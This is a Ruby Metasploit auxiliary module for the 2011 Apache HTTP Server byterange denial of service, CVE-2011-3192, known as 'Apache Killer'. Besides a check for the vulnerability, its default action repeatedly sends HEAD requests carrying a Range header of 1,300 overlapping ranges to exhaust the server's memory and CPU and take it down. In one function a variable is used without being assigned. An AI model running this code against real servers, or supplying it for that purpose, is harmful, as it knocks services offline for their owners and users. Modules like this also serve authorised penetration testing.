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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Range Header DoS (Apache Killer)',
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        'Description' => %q{
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          The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
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          through 2.2.19 allows remote attackers to cause a denial of service (memory and
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          CPU consumption) via a Range header that expresses multiple overlapping ranges,
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          exploit called "Apache Killer".
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        },
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        'Author' => [
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          'Kingcope', # original discovery
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          'Masashi Fujiwara', # metasploit module
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          'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
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        ],
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        'License' => MSF_LICENSE,
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        'Actions' => [
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          ['DOS', { 'Description' => 'Trigger Denial of Service against target' }],
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          ['CHECK', { 'Description' => 'Check if target is vulnerable' }]
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        ],
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        'DefaultAction' => 'DOS',
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        'References' => [
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          [ 'BID', '49303'],
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          [ 'CVE', '2011-3192'],
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          [ 'EDB', '17696'],
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          [ 'OSVDB', '74721' ],
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        ],
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        'DisclosureDate' => '2011-08-19',
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        'Notes' => {
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          'AKA' => ['Apache Killer'],
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('URI', [ true, 'The request URI', '/']),
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        OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])
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      ]
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    )
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  end
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  def run_host(_ip)
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    case action.name
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    when 'DOS'
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      conduct_dos
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    when 'CHECK'
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      check_for_dos
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    end
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  end
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  def check_for_dos
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    uri = datastore['URI']
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    rhost = datastore['RHOST']
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    res = send_request_cgi({
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      'uri' => uri,
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      'method' => 'HEAD',
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      'headers' => {
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        'HOST' => rhost,
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        'Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10',
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        'Request-Range' => 'bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10'
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      }
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    })
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    if res && res.code == 206
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      print_status("Response was #{res.code}")
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      print_status("Found Byte-Range Header DOS at #{uri}")
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      report_note(
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        :host => rhost,
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        :port => rport,
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        :type => 'apache.killer',
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        :data => { :uri => uri }
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      )
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    else
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      print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
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    end
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  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
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    vprint_error(e.message)
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  end
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  def conduct_dos
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    datastore['URI']
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    rhost = datastore['RHOST']
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    ranges = ''
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    for i in (0..1299) do
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      ranges += ',5-' + i.to_s
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    end
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    for x in 1..datastore['RLIMIT']
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      begin
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        print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
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        _res = send_request_cgi(
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          {
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            'uri' => uri,
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            'method' => 'HEAD',
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            'headers' => {
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              'HOST' => rhost,
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              'Range' => "bytes=0-#{ranges}",
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              'Request-Range' => "bytes=0-#{ranges}"
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            }
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          },
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          1
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        )
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      rescue ::Rex::ConnectionRefused
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        print_error("Unable to connect to #{rhost}:#{rport}")
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      rescue ::Errno::ECONNRESET
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        print_good("DoS packet successful. #{rhost} not responding.")
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      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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        print_error("Couldn't connect to #{rhost}:#{rport}")
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      rescue ::Timeout::Error, ::Errno::EPIPE => e
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        vprint_error(e.message)
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      end
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    end
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  end
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end
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